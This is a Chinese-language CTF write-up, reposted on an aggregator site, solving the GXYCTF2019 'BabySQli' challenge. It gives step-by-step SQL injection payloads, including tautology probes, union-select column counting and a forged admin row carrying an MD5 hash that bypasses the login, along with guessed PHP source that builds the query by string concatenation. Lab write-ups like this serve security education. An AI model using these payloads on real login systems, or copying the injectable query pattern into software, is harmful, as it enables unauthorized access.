ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

[GXYCTF2019]BabySQli

2021-07-08 11:31:21  阅读:230  来源: 互联网

标签:BabySQli 查询 admin GXYCTF2019 union password 我们 select


[GXYCTF2019]BabySQli

我们通过union select联合查询就可以构造一行虚拟的数据

所以这个题思路大概是这样,我们先是判断出存在admin这个账户,然后构造一个自己的密码123进行登录然后获取flag

  1. 我们进入试题地址发现就一个登录框

  1. 然后我们进行常规的SQL注入,都会出现这个页面

    1' and '1'='1
    1' or '1'='1
    1' order by 3#
    

  1. 然后我们尝试一下用户名输出1和admin,发现输入1会提示wrong user!,而输入admin会题是wrong pass!,所以我们发现admin是正确用户名,但是我们不知道密码,我们查看源代码会有一个这样的页面

这串字符我们经过base32解密,在经过base64解密就会得出:

select * from user where username = '$name'

我们发现后台SQL查询语句是这样的

我们利用union查询判断一下有多少个字段:

1' union select 1,2,3#     //密码随意输入

然后出现这样一个页面,3个字段是对的,这个你可以一个一个试,返回结果是不一样的

然后我们猜测3个字段大概是这样id,admin,password,我们测试一下admin在哪个字段

1' union select 1,'admin',3#     //得出admin位于第二个字段

然后我们就可以利用union查询构造一个虚拟数据,username=admin,password=123(我们自定义的)

1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#     

202cb962ac59075b964b07152d234b70 这个是md5(123)加密之后的数据,因为一般数据库密码都会通过md5加密     //注意是 32为小 的加密方式,32为大 的行不通,我也不清楚为啥,到时候回来补上这个点

这里我们可以大概猜测一下后台源码:

$name = $_POST['name'];
$password = $_POST['pw'];
$sql = "select * from user where username = '".$name."'";   
// echo $sql;
$result = mysqli_query($con, $sql);      
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
	if(md5($password) == $arr[2]){
		echo $flag;
	}else{
			die("wrong pass!");
		}
}else{
		die("wrong user!");
	 }
}

然后我们输入得出flag:

username:1' union select 1,'admin','202cb962ac59075b964b07152d234b70'# 
password:123


标签:BabySQli,查询,admin,GXYCTF2019,union,password,我们,select
来源: https://www.cnblogs.com/tzf1/p/14985300.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有